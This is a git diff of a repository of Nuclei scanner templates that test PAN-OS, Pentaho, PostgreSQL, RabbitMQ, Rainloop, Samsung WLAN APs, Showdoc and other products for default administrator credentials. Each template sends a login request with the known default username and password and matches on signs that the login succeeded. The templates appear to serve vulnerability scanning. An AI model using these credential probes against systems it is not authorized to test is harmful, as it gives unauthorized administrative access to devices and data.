- type: word part: header words: - "Set-Cookie: PHPSESSID" + - type: word words: - "Warning: Your device is still configured with the default admin" + - type: status status: - 200 diff --git a/poc/default/panos-default-login-9457.yaml b/poc/default/panos-default-login-9457.yaml new file mode 100644 index 0000000000..9faa4ae474 --- /dev/null +++ b/poc/default/panos-default-login-9457.yaml @@ -0,0 +1,41 @@ +id: panos-default-login +info: + name: Palo Alto Networks PAN-OS Default Login + author: Techryptic (@Tech) + severity: high + description: Palo Alto Networks PAN-OS application default admin credentials were discovered. + reference: + - https://docs.paloaltonetworks.com/pan-os/8-1/pan-os-admin/getting-started/integrate-the-firewall-into-your-management-network/perform-initial-configuration.html#:~:text=By%20default%2C%20the%20firewall%20has,with%20other%20firewall%20configuration%20tasks. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: panos,default-login +requests: + - raw: + - | + POST /php/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + user={{username}}&passwd={{password}}&challengePwd=&ok=Login + attack: pitchfork + payloads: + username: + - admin + password: + - admin + matchers-condition: and + matchers: + - type: word + part: header + words: + - "Set-Cookie: PHPSESSID" + - type: word + words: + - "Warning: Your device is still configured with the default admin" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/panos-default-login.yaml b/poc/default/panos-default-login.yaml new file mode 100644 index 0000000000..cf85a349e1 --- /dev/null +++ b/poc/default/panos-default-login.yaml @@ -0,0 +1,42 @@ +id: panos-default-login +info: + name: Palo Alto Networks PAN-OS Default Login + author: Techryptic (@Tech) + severity: high + description: Palo Alto Networks PAN-OS application default admin credentials were discovered. + reference: + - https://docs.paloaltonetworks.com/pan-os/8-1/pan-os-admin/getting-started/integrate-the-firewall-into-your-management-network/perform-initial-configuration.html#:~:text=By%20default%2C%20the%20firewall%20has,with%20other%20firewall%20configuration%20tasks. + tags: panos,default-login + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 +requests: + - raw: + - | + POST /php/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + user={{username}}&passwd={{password}}&challengePwd=&ok=Login + attack: pitchfork + payloads: + username: + - admin + password: + - admin + matchers-condition: and + matchers: + - type: word + part: header + words: + - "Set-Cookie: PHPSESSID" + - type: word + words: + - "Warning: Your device is still configured with the default admin" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/pentaho-default-login.yaml b/poc/default/pentaho-default-login.yaml new file mode 100644 index 0000000000..11b51557b7 --- /dev/null +++ b/poc/default/pentaho-default-login.yaml @@ -0,0 +1,48 @@ +id: pentaho-default-login + +info: + name: Pentaho Default Login + author: pussycat0x + severity: high + description: Pentaho default admin credentials were discovered. + reference: + - https://www.hitachivantara.com/en-us/pdfd/training/pentaho-lesson-1-user-console-overview.pdf + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 + shodan-query: pentaho + tags: pentaho,default-login + +http: + - raw: + - | + POST /pentaho/j_spring_security_check HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + j_username={{user}}&j_password={{pass}} + + attack: pitchfork + payloads: + user: + - admin + pass: + - password + + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'pentaho/Home' + - 'JSESSIONID=' + condition: and + + - type: status + status: + - 302 + +# digest: 490a0046304402207879c4c3d158c1befbc85369695e7c809e1c3321bfd3f41c3c14de63f25a565202206992c6b32c87dcec119c635edb212470f39effb0255284d3fa477e3581a0722e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/pgsql-default-db.yaml b/poc/default/pgsql-default-db.yaml new file mode 100644 index 0000000000..70df51efb9 --- /dev/null +++ b/poc/default/pgsql-default-db.yaml @@ -0,0 +1,54 @@ +id: pgsql-default-db + +info: + name: Postgresql Default Database - Enumeration + author: pussycat0x + severity: high + description: | + postgres is the default database you will connect to before you have created any other databases. + reference: + - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-database-name + metadata: + shodan-query: product:"PostgreSQL" + verified: true + tags: js,network,postgresql,authenticated + +javascript: + - code: | + const postgres = require('nuclei/postgres'); + const client = new postgres.PGClient; + connected = client.ConnectWithDB(Host, Port, User, Pass, Db); + connected ; + + args: + Host: "{{Host}}" + Port: 5432 + User: "{{usernames}}" + Pass: "{{password}}" + Db: "{{database}}" + + payloads: + usernames: + - postgres + - admin + password: + - postgres + - + - 123 + - amber + database: + - foresight + - postgres + - template0 + - template1 + - test + + attack: clusterbomb + + matchers: + - type: dsl + dsl: + - "success == true" + - "response == true" + condition: and +# digest: 4a0a0047304502203a5762da2f7781d9727cae67e5900dd3bd168a07992d50f9e1ad94a7b9fc5227022100c06431d19b12fb78e9a05ec0750093fe348f05cef960b43450728e98a86c26e2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/default/rabbitmq-default-login-9786.yaml b/poc/default/rabbitmq-default-login-9786.yaml index 6ac4bf64be..9d549477c7 100644 --- a/poc/default/rabbitmq-default-login-9786.yaml +++ b/poc/default/rabbitmq-default-login-9786.yaml @@ -1,49 +1,42 @@ id: rabbitmq-default-login - info: name: RabbitMQ Default Login author: fyoorer,dwisiswant0 severity: high description: RabbitMQ default admin credentials were discovered. + tags: rabbitmq,default-login reference: - https://onlinehelp.coveo.com/en/ces/7.0/administrator/changing_the_rabbitmq_administrator_password.htm classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - metadata: - max-request: 1 - tags: rabbitmq,default-login - -http: +requests: - raw: - | GET /api/whoami HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Authorization: Basic {{base64(username + ':' + password)}} - payloads: username: - guest password: - guest attack: pitchfork - matchers-condition: and matchers: - type: word words: - "application/json" part: header - - type: word words: - "{\"name\":\"guest\"" part: body - - type: status status: - 200 -# digest: 4b0a004830460221009d26c6e1ef12e83c3a25ea0a2967382a318d40f0928340905b92cf4eea19a813022100a7ba1c7a3117af056840a85052fdda635d395f0710072eb8c2d35b2c84a34c79:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/rainloop-default-login-9813.yaml b/poc/default/rainloop-default-login-9813.yaml new file mode 100644 index 0000000000..0068387dce --- /dev/null +++ b/poc/default/rainloop-default-login-9813.yaml @@ -0,0 +1,49 @@ +id: rainloop-default-login +info: + name: Rainloop WebMail - Default Admin Login + author: For3stCo1d + severity: high + description: Rainloop WebMail default admin login credentials were successful. + reference: + - https://github.com/RainLoop/rainloop-webmail/issues/28 + metadata: + verified: true + fofa-query: app="RAINLOOP-WebMail" + tags: default-login,rainloop,webmail,foss +requests: + - raw: + - | # Login Portal: /?admin + GET /?/AdminAppData@no-mobile-0/0/15503332983847185/ HTTP/1.1 + Host: {{Hostname}} + - | + POST /?/Ajax/&q[]=/0/ HTTP/2 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + Login={{user}}&Password={{pass}}&Action=AdminLogin&XToken={{token}} + attack: pitchfork + payloads: + user: + - admin + pass: + - 12345 + cookie-reuse: true + extractors: + - type: regex + name: token + internal: true + group: 1 + regex: + - 'token":"(.+?)"' + matchers-condition: and + matchers: + - type: word + words: + - '"Action":"AdminLogin"' + - '"Result":true' + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/poc/default/rainloop-default-login.yaml b/poc/default/rainloop-default-login.yaml index 0068387dce..8e4ea4426f 100644 --- a/poc/default/rainloop-default-login.yaml +++ b/poc/default/rainloop-default-login.yaml @@ -1,15 +1,12 @@ id: rainloop-default-login info: - name: Rainloop WebMail - Default Admin Login + name: Rainloop WebMail Default Login author: For3stCo1d severity: high - description: Rainloop WebMail default admin login credentials were successful. - reference: - - https://github.com/RainLoop/rainloop-webmail/issues/28 + reference: https://github.com/RainLoop/rainloop-webmail/issues/28 metadata: - verified: true fofa-query: app="RAINLOOP-WebMail" - tags: default-login,rainloop,webmail,foss + tags: rainloop,webmail,default-login,foss requests: - raw: - | # Login Portal: /?admin @@ -45,5 +42,3 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/07/04 diff --git a/poc/default/rancher-default-login-9814.yaml b/poc/default/rancher-default-login-9814.yaml index 9eadc6d68c..a692cff35d 100644 --- a/poc/default/rancher-default-login-9814.yaml +++ b/poc/default/rancher-default-login-9814.yaml @@ -4,9 +4,16 @@ info: name: Rancher Default Login author: princechaddha severity: high - description: Rancher is a open-source multi-cluster orchestration platform, lets operations teams deploy, manage and secure enterprise Kubernetes. - reference: https://github.com/rancher/rancher + description: Rancher default admin credentials were discovered. Rancher is an open-source multi-cluster orchestration platform that lets operations teams deploy, manage and secure enterprise Kubernetes. + reference: + - https://github.com/rancher/rancher + - https://rancher.com/docs/rancher/v2.5/en/admin-settings/authentication/local/ tags: default-login,rancher,kubernetes,devops,cloud + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 requests: - raw: @@ -50,3 +57,5 @@ requests: part: header regex: - 'Set-Cookie: CSRF=([a-z0-9]+)' + +# Enhanced by mp on 2022/03/11 diff --git a/poc/default/rancher-default-login-9815.yaml b/poc/default/rancher-default-login.yaml similarity index 100% rename from poc/default/rancher-default-login-9815.yaml rename to poc/default/rancher-default-login.yaml diff --git a/poc/default/ranger-default-login-9827.yaml b/poc/default/ranger-default-login-9827.yaml deleted file mode 100644 index 34e46cbd76..0000000000 --- a/poc/default/ranger-default-login-9827.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: ranger-default-login - -info: - name: Apache Ranger Default Login - author: For3stCo1d - severity: high - reference: https://github.com/apache/ranger - metadata: - shodan-query: http.title:"Ranger - Sign In" - tags: apache,ranger,default-login - -requests: - - raw: - - | - POST /login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - username={{user}}&password={{pass}} - - attack: pitchfork - payloads: - user: - - admin - pass: - - admin - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"statusCode":200' - - '"msgDesc":"Login Successful"' - condition: and - - - type: status - status: - - 200 diff --git a/poc/default/ranger-default-login-9828.yaml b/poc/default/ranger-default-login-9828.yaml index 33536c3057..34e46cbd76 100644 --- a/poc/default/ranger-default-login-9828.yaml +++ b/poc/default/ranger-default-login-9828.yaml @@ -1,22 +1,15 @@ id: ranger-default-login info: - name: Apache Ranger - Default Login + name: Apache Ranger Default Login author: For3stCo1d severity: high - description: Apache Ranger contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations. - reference: - - https://github.com/apache/ranger - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + reference: https://github.com/apache/ranger metadata: - max-request: 1 shodan-query: http.title:"Ranger - Sign In" tags: apache,ranger,default-login -http: +requests: - raw: - | POST /login HTTP/1.1 @@ -44,5 +37,3 @@ http: - type: status status: - 200 - -# digest: 490a0046304402203bf53c048783b3bfa9ae3b589a837d7490de17871f806fdd517ec3f32b79d9b60220319afc2bd265b8457db14da8706c7852f329078070f5b51a82132229b4b31462:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/rockmongo-default-credentials.yaml b/poc/default/rockmongo-default-credentials.yaml index 000d75a278..2e2ec7b575 100644 --- a/poc/default/rockmongo-default-credentials.yaml +++ b/poc/default/rockmongo-default-credentials.yaml @@ -1,9 +1,11 @@ id: rockmongo-default-credentials + info: name: Rockmongo Default Credentials author: pikpikcu severity: high tags: rockmongo,default-login + requests: - raw: - | @@ -14,13 +16,16 @@ requests: Referer: {{Hostname}}/index.php?action=login.index more=0&host=0&username=admin&password=admin&db=&lang=en_us&expire=3 + matchers-condition: and matchers: + - type: word words: - "Location: /index.php?action=admin.index&host=0" - "Set-Cookie: ROCK_LANG=" part: header + - type: status status: - 302 diff --git a/poc/default/rockmongo-default-login-9899.yaml b/poc/default/rockmongo-default-login-9899.yaml index 8fb0fdf1ee..c194ac4f25 100644 --- a/poc/default/rockmongo-default-login-9899.yaml +++ b/poc/default/rockmongo-default-login-9899.yaml @@ -1,11 +1,16 @@ id: rockmongo-default-login - info: name: Rockmongo Default Login author: pikpikcu severity: high + description: Rockmongo default admin credentials were discovered. + reference: + - https://serverfault.com/questions/331315/how-to-change-the-default-admin-username-and-admin-password-in-rockmongo + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 tags: rockmongo,default-login - requests: - raw: - | @@ -15,23 +20,21 @@ requests: Referer: {{Hostname}}/index.php?action=login.index more=0&host=0&username={{username}}&password={{password}}&db=&lang=en_us&expire=3 - payloads: username: - admin password: - admin attack: pitchfork - matchers-condition: and matchers: - - type: word words: - "Location: /index.php?action=admin.index&host=0" - "Set-Cookie: ROCK_LANG=" part: header - - type: status status: - 302 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/default/rockmongo-default-login-9900.yaml b/poc/default/rockmongo-default-login-9900.yaml index 017b879566..eaa5d79c7b 100644 --- a/poc/default/rockmongo-default-login-9900.yaml +++ b/poc/default/rockmongo-default-login-9900.yaml @@ -1,10 +1,21 @@ id: rockmongo-default-login + info: name: Rockmongo Default Login author: pikpikcu severity: high + description: Rockmongo default admin credentials were discovered. + reference: + - https://serverfault.com/questions/331315/how-to-change-the-default-admin-username-and-admin-password-in-rockmongo + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 tags: rockmongo,default-login -requests: + +http: - raw: - | POST /index.php?action=login.index HTTP/1.1 @@ -13,12 +24,14 @@ requests: Referer: {{Hostname}}/index.php?action=login.index more=0&host=0&username={{username}}&password={{password}}&db=&lang=en_us&expire=3 + payloads: username: - admin password: - admin attack: pitchfork + matchers-condition: and matchers: - type: word @@ -26,6 +39,9 @@ requests: - "Location: /index.php?action=admin.index&host=0" - "Set-Cookie: ROCK_LANG=" part: header + - type: status status: - 302 + +# digest: 4a0a00473045022100e38c9a57e4d88c9f038c701b6560797dad2f92de005ed2a726f7bc07660b27dd022064431cf3bab0caefb9392df1787aa92f28050b578b72c0863fab2aa1b37dc25b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/rseenet-default-login-9913.yaml b/poc/default/rseenet-default-login-9913.yaml deleted file mode 100644 index 80dfe96d37..0000000000 --- a/poc/default/rseenet-default-login-9913.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: rseenet-default-login - -info: - name: Advantech R-SeeNet Default Login - author: princechaddha - severity: high - description: Advantech R-SeeNet default admin credentials were discovered. R-SeeNet is a software system used for monitoring of status and functions of Advantech routers. - reference: https://icr.advantech.cz/products/software/r-seenet - tags: rseenet,default-login - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 - -requests: - - raw: - - | - POST /index.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - page=login_change&oper=0&username={{user}}&password={{pass}}&submit=Login - - attack: pitchfork - payloads: - user: - - admin - pass: - - conel - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - 'R-SeeNet (.*)' - - - type: word - part: body - words: - - "User is succesfully logged." - -# Enhanced by mp on 2022/03/11 diff --git a/poc/default/rseenet-default-login-9915.yaml b/poc/default/rseenet-default-login-9915.yaml index 73dad842a6..f6e447f8d9 100644 --- a/poc/default/rseenet-default-login-9915.yaml +++ b/poc/default/rseenet-default-login-9915.yaml @@ -1,21 +1,11 @@ id: rseenet-default-login - info: name: Advantech R-SeeNet Default Login author: princechaddha severity: high - description: Advantech R-SeeNet default admin credentials were discovered. R-SeeNet is a software system used for monitoring of status and functions of Advantech routers. - reference: - - https://icr.advantech.cz/products/software/r-seenet - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - max-request: 1 + reference: https://icr.advantech.cz/products/software/r-seenet tags: rseenet,default-login - -http: +requests: - raw: - | POST /index.php HTTP/1.1 @@ -23,24 +13,19 @@ http: Content-Type: application/x-www-form-urlencoded page=login_change&oper=0&username={{user}}&password={{pass}}&submit=Login - attack: pitchfork payloads: user: - admin pass: - conel - matchers-condition: and matchers: - type: regex part: body regex: - 'R-SeeNet (.*)' - - type: word part: body words: - "User is succesfully logged." - -# digest: 4a0a00473045022100efb5edcd4a4e48d7b54a630c30b681e36f9607dc91f478ef28453df486b505dc022032a21bafe86d3ddfedf9bf40db7657ab9171805b4528ac3d8f9847acd4c5964f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/samsung-wlan-ap-default-credentials.yaml b/poc/default/samsung-wlan-ap-default-credentials.yaml index 8355e8d87c..caeeb17a51 100644 --- a/poc/default/samsung-wlan-ap-default-credentials.yaml +++ b/poc/default/samsung-wlan-ap-default-credentials.yaml @@ -1,18 +1,15 @@ id: samsung-wlan-ap-default-credentials - info: name: Samsung Wlan AP (WEA453e) Default Credentials author: pikpikcu severity: high reference: https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ tags: samsung,default-login - requests: - method: POST path: - "{{BaseURL}}/main.ehp" body: "httpd;General;lang=en&login_id=root&login_pw=sweap12~" - matchers-condition: and matchers: - type: word diff --git a/poc/default/samsung-wlan-default-login-10017.yaml b/poc/default/samsung-wlan-default-login-10017.yaml index 26d35aa1e9..fcb7300e4c 100644 --- a/poc/default/samsung-wlan-default-login-10017.yaml +++ b/poc/default/samsung-wlan-default-login-10017.yaml @@ -1,4 +1,5 @@ id: samsung-wlan-default-login + info: name: Samsung Wlan AP (WEA453e) Default Login author: pikpikcu @@ -10,20 +11,25 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + max-request: 1 tags: samsung,default-login -requests: + +http: - raw: - | POST /main.ehp HTTP/1.1 Host: {{Hostname}} httpd;General;lang=en&login_id={{username}}&login_pw={{password}} + payloads: username: - root password: - sweap12~ attack: pitchfork + matchers-condition: and matchers: - type: word @@ -31,8 +37,9 @@ requests: words: - "document.formParent2.changepasswd1.value" - "passwd_change.ehp" + - type: status status: - 200 -# Enhanced by mp on 2022/03/11 +# digest: 490a0046304402204c0c004f4e1523701e478e97dea5095b387b9e48975efa867a71d9ec5012c9c802203dda76ffd89c7ddec72b0bf0621c90196db5ea0b214d890ef7dbd4c7fbbbc3e0:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/samsung-wlan-default-login-10018.yaml b/poc/default/samsung-wlan-default-login-10018.yaml new file mode 100644 index 0000000000..7c151d3703 --- /dev/null +++ b/poc/default/samsung-wlan-default-login-10018.yaml @@ -0,0 +1,30 @@ +id: samsung-wlan-default-login +info: + name: Samsung Wlan AP (WEA453e) Default Login + author: pikpikcu + severity: high + reference: https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ + tags: samsung,default-login +requests: + - raw: + - | + POST /main.ehp HTTP/1.1 + Host: {{Hostname}} + + httpd;General;lang=en&login_id={{username}}&login_pw={{password}} + payloads: + username: + - root + password: + - sweap12~ + attack: pitchfork + matchers-condition: and + matchers: + - type: word + part: body + words: + - "document.formParent2.changepasswd1.value" + - "passwd_change.ehp" + - type: status + status: + - 200 diff --git a/poc/default/secnet-ac-default-login-10113.yaml b/poc/default/secnet-ac-default-login-10113.yaml index 685125e478..78194a944c 100644 --- a/poc/default/secnet-ac-default-login-10113.yaml +++ b/poc/default/secnet-ac-default-login-10113.yaml @@ -1,15 +1,17 @@ id: secnet-ac-default-password info: - name: secnet-ac-default-password + name: secnet ac - Default Admin Login author: ritikchaddha severity: high - description: secnet ac default admin credentials were discovered. + description: secnet ac default admin credentials were successful. reference: - https://bbs.secnet.cn/post/t-30 - tags: secnet,default-login + metadata: + max-request: 1 + tags: default-login,secnet -requests: +http: - raw: - | POST /login.cgi HTTP/1.1 @@ -40,3 +42,5 @@ requests: - type: status status: - 200 + +# digest: 4b0a004830460221008b0bffdca451d4f7a6e3c778051d52d7d8d9dadd85f59ecdadbf3842cb9e1b84022100c20662b0c8793fdf0f5789f2ff09b6bb14c79f20fbf9e4d065af8a09ee8a8896:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/secnet-ac-default-login.yaml b/poc/default/secnet-ac-default-login.yaml deleted file mode 100644 index 348509e76b..0000000000 --- a/poc/default/secnet-ac-default-login.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: secnet-ac-default-password -info: - name: secnet-ac-default-password - author: ritikchaddha - severity: high - description: secnet ac default admin credentials were discovered. - reference: - - https://bbs.secnet.cn/post/t-30 - tags: secnet,default-login -requests: - - raw: - - | - POST /login.cgi HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - user={{username}}&password={{password}} - attack: pitchfork - payloads: - username: - - admin - password: - - admin - matchers-condition: and - matchers: - - type: word - part: body - words: - - "window.open('index.htm" - - type: word - part: header - words: - - "ac_userid={{username}},ac_passwd=" - - type: status - status: - - 200 diff --git a/poc/default/seeddms-default-login-10127.yaml b/poc/default/seeddms-default-login-10127.yaml deleted file mode 100644 index ee758e2f50..0000000000 --- a/poc/default/seeddms-default-login-10127.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: seeddms-default-login - -info: - name: SeedDMS Default Login - author: alifathi-h1 - severity: high - description: SeedDMS default admin credentials were discovered. - reference: - - https://www.seeddms.org/index.php?id=2 - - https://www.redhat.com/sysadmin/install-seeddms - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - max-request: 1 - shodan-query: http.title:"SeedDMS" - tags: default-login,seeddms - -http: - - raw: - - | - POST /op/op.Login.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - login={{username}}&pwd={{password}}&lang= - - payloads: - username: - - admin - password: - - admin - attack: pitchfork - - matchers-condition: and - matchers: - - type: word - part: header - words: - - 'Location: /out/out.ViewFolder.php' - - - type: status - status: - - 302 - -# digest: 4a0a00473045022100d82cfee35978bded2a46979183addd6bdf2cfece0b0e74f99e3758371ed99c9a02205f98235f1b798819eb7bac406595359b71b52b7171456eacff757bd9318b8511:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/seeddms-default-login.yaml b/poc/default/seeddms-default-login.yaml new file mode 100644 index 0000000000..ed3e30f3db --- /dev/null +++ b/poc/default/seeddms-default-login.yaml @@ -0,0 +1,39 @@ +id: seeddms-default-login +info: + name: SeedDMS Default Login + author: alifathi-h1 + severity: high + description: SeedDMS default admin credentials were discovered. + reference: + - https://www.seeddms.org/index.php?id=2 + - https://www.redhat.com/sysadmin/install-seeddms + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: default-login,seeddms +requests: + - raw: + - | + POST /op/op.Login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + login={{username}}&pwd={{password}}&lang= + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'Location: /out/out.ViewFolder.php' + - type: status + status: + - 302 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/default/sequoiadb-default-login-10152.yaml b/poc/default/sequoiadb-default-login-10152.yaml index 411f6f3bb6..39348896d3 100644 --- a/poc/default/sequoiadb-default-login-10152.yaml +++ b/poc/default/sequoiadb-default-login-10152.yaml @@ -3,13 +3,7 @@ info: name: SequoiaDB Default Login author: dhiyaneshDk severity: high - description: SequoiaDB default admin credentials were discovered. - reference: - - https://www.sequoiadb.com/en/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + description: Searches for default admin credentials for the SequoiaDB application. tags: default-login,sequoiadb requests: - raw: @@ -41,5 +35,3 @@ requests: part: body words: - '{ "errno": 0 }' - -# Enhanced by mp on 2022/03/11 diff --git a/poc/default/sequoiadb-default-login.yaml b/poc/default/sequoiadb-default-login.yaml deleted file mode 100644 index 39348896d3..0000000000 --- a/poc/default/sequoiadb-default-login.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: sequoiadb-default-login -info: - name: SequoiaDB Default Login - author: dhiyaneshDk - severity: high - description: Searches for default admin credentials for the SequoiaDB application. - tags: default-login,sequoiadb -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Accept: */* - X-Requested-With: XMLHttpRequest - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 - SdbLanguage: en - - cmd=login&user={{username}}&passwd={{md5(password)}} - payloads: - username: - - admin - password: - - admin - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: dsl - dsl: - - contains(tolower(all_headers), 'sdbsessionid') - - type: word - part: body - words: - - '{ "errno": 0 }' diff --git a/poc/default/showdoc-default-login-10219.yaml b/poc/default/showdoc-default-login-10219.yaml new file mode 100644 index 0000000000..16c61b3c47 --- /dev/null +++ b/poc/default/showdoc-default-login-10219.yaml @@ -0,0 +1,46 @@ +id: showdoc-default-login + +info: + name: Showdoc Default Login + author: pikpikcu + severity: medium + description: Showdoc default credentials were discovered. + reference: + - https://blog.star7th.com/2016/05/2007.html + tags: showdoc,default-login + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cve-id: + cwe-id: CWE-522 + +requests: + - raw: + - | + POST /server/index.php?s=/api/user/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded;charset=UTF-8 + + username={{username}}&password={{password}}&v_code= + + payloads: + username: + - showdoc + password: + - 123456 + attack: pitchfork + + matchers-condition: and + matchers: + + - type: word + words: + - '"username":"showdoc"' + - '"user_token":' + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/default/showdoc-default-login.yaml b/poc/default/showdoc-default-login.yaml new file mode 100644 index 0000000000..4bf519de51 --- /dev/null +++ b/poc/default/showdoc-default-login.yaml @@ -0,0 +1,40 @@ +id: showdoc-default-login +info: + name: Showdoc Default Login + author: pikpikcu + severity: medium + description: Showdoc default credentials were discovered. + reference: + - https://blog.star7th.com/2016/05/2007.html + tags: showdoc,default-login + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cve-id: + cwe-id: CWE-522 +requests: + - raw: + - | + POST /server/index.php?s=/api/user/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded;charset=UTF-8 + + username={{username}}&password={{password}}&v_code= + payloads: + username: + - showdoc + password: + - 123456 + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - '"username":"showdoc"' + - '"user_token":' + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/default/showdoc-default-password-10224.yaml b/poc/default/showdoc-default-password-10224.yaml deleted file mode 100644 index f992f0dac8..0000000000 --- a/poc/default/showdoc-default-password-10224.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: showdoc-default-password - -info: - name: Showdoc Default Password - author: pikpikcu - severity: medium - reference: | - - https://blog.star7th.com/2016/05/2007.html - tags: showdoc,default-login - -requests: - - method: POST - path: - - "{{BaseURL}}/server/index.php?s=/api/user/login" - body: | - username=showdoc&password=123456&v_code= - - headers: - Content-Type: application/x-www-form-urlencoded;charset=UTF-8 - matchers-condition: and - matchers: - - - type: word - words: - - '"username":"showdoc"' - - '"user_token":' - condition: and - - - type: status - status: - - 200 diff --git a/poc/default/showdoc-default-password.yaml b/poc/default/showdoc-default-password.yaml index 0aa889c7ff..589bdc7eea 100644 --- a/poc/default/showdoc-default-password.yaml +++ b/poc/default/showdoc-default-password.yaml @@ -7,18 +7,13 @@ info: - https://blog.star7th.com/2016/05/2007.html tags: showdoc,default-login requests: - - payloads: - Subdomains: /home/mahmoud/Wordlist/AllSubdomains.txt - attack: sniper - threads: 100 - raw: - - | - POST /server/index.php?s=/api/user/login HTTP/1.1 - Host: {{Subdomains}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 - Content-Type: application/x-www-form-urlencoded;charset=UTF-8 - - username=showdoc&password=123456&v_code= + - method: POST + path: + - "{{BaseURL}}/server/index.php?s=/api/user/login" + body: | + 